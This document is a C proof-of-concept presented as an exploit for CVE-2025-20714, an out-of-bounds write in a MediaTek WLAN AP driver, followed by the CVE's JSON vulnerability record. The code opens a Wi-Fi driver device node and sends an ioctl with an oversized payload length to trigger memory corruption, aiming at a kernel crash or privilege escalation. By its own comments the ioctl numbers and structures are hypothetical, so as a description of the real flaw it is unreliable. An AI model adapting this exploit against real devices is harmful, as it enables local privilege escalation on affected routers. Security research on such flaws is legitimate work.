CVE-2025-20714

# CVE-2025-20714 - MediaTek WLAN AP Driver Out-of-Bounds Write PoC (Conceptual) # WARNING: This is a conceptual PoC for security research purposes only. # Do not use against systems without explicit authorization. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/types.h> #include <errno.h> // Hypothetical IOCTL command for WLAN AP driver // Actual IOCTL numbers would need to be reverse-engineered from the driver #define WLAN_AP_IOC_MAGIC 'W' #define WLAN_AP_IOC_SET_CONFIG _IOW(WLAN_AP_IOC_MAGIC, 0x01, struct wlan_ap_config) #define WLAN_AP_IOC_TRIGGER _IOW(WLAN_AP_IOC_MAGIC, 0x02, struct wlan_ap_trigger) // Structure representing WLAN AP configuration // The vulnerability is in incorrect bounds checking of the 'ssid_len' or 'data_len' fields struct wlan_ap_config { char ssid[32]; // SSID buffer (fixed size: 32 bytes) unsigned int ssid_len; // Intended length, but not properly validated char password[64]; // Password buffer unsigned int password_len; unsigned int channel; unsigned char extra_data[256]; // Buffer that may be overflowed unsigned int extra_len; // Length without proper bounds check }; // Structure to trigger the vulnerable code path struct wlan_ap_trigger { unsigned int operation; unsigned int param1; unsigned int param2; unsigned char payload[512]; unsigned int payload_len; // No proper bounds check before write }; int main(int argc, char *argv[]) { int fd; int ret; struct wlan_ap_trigger trigger; printf("[+] CVE-2025-20714 PoC - MediaTek WLAN AP Driver OOB Write\n"); printf("[+] For security research and authorized testing only\n\n"); // Open the WLAN AP driver device node // The actual device path varies by device (e.g., /dev/wlan_ap, /dev/mtk_wlan) fd = open("/dev/wmtWifi", O_RDWR); if (fd < 0) { perror("[-] Failed to open WLAN AP device"); // Try alternative device paths fd = open("/dev/wlan_ap", O_RDWR); if (fd < 0) { perror("[-] Failed to open alternative device"); return EXIT_FAILURE; } } printf("[+] Opened WLAN AP device (fd=%d)\n", fd); // Prepare the trigger structure with oversized payload // The vulnerability: payload_len exceeds the actual buffer size // and the driver does not properly validate this length before writing memset(&trigger, 0, sizeof(trigger)); trigger.operation = 0x01; // Operation code triggering vulnerable path trigger.param1 = 0xDEADBEEF; trigger.param2 = 0xCAFEBABE; // Fill payload with controlled data to overwrite adjacent memory // This is where the out-of-bounds write occurs memset(trigger.payload, 'A', sizeof(trigger.payload)); // Set payload_len to a value larger than the actual buffer // This bypasses the incorrect bounds check in the driver trigger.payload_len = sizeof(trigger.payload) + 0x100; // Exceeds buffer by 256 bytes printf("[+] Sending crafted payload (payload_len=%u, buffer_size=%zu)\n", trigger.payload_len, sizeof(trigger.payload)); printf("[+] OOB write: %d bytes beyond buffer boundary\n", trigger.payload_len - (int)sizeof(trigger.payload)); // Trigger the vulnerability via IOCTL ret = ioctl(fd, WLAN_AP_IOC_TRIGGER, &trigger); if (ret < 0) { perror("[-] IOCTL failed"); } else { printf("[+] IOCTL succeeded - vulnerability may have been triggered\n"); printf("[+] Check for kernel crash or privilege escalation\n"); } close(fd); return EXIT_SUCCESS; } // Compile: gcc -o poc_cve_2025_20714 poc.c // Note: Actual exploitation requires: // 1. Knowledge of specific device's driver IOCTL interface // 2. Kernel symbol addresses for privilege escalation // 3. A vulnerable MediaTek chipset with affected firmware version // 4. Local access with at least low-level privileges

{"cve": {"id": "CVE-2025-20714", "sourceIdentifier": "[email protected]", "published": "2025-10-14T10:15:35.977", "lastModified": "2025-10-15T18:46:25.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: WCNCR00432659; Issue ID: MSV-3902."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.6.7.2", "matchCriteriaId": "0DD86CC1-BD46-42D2-9112-190CCAC96B30"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:*", "matchCriteriaId": "05748BB1-0D48-4097-932E-E8E2E574FD8D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:*", "matchCriteriaId": "55EB4B27-6264-45BE-9A22-BE8418BB0C06"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7663:-:*:*:*:*:*:*:*", "matchCriteriaId": "10C79211-F064-499D-914E-0BACD038FBF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:*", "matchCriteriaId": "3AB22996-9C22-4B6C-9E94-E4C055D16335"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7916:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD5AA441-5381-4179-89EB-1642120F72B4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7981:-:*:*:*:*:*:*:*", "matchCriteriaId": "490CD97B-021F-4350-AEE7-A2FA866D5889"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7986:-:*:*:*:*:*:*:*", "matchCriteriaId": "40A9E917-4B34-403F-B512-09EEBEA46811"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:*", "matchCriteriaId": "4FA469E2-9E63-4C9A-8EBA-10C8C870063A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/October-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}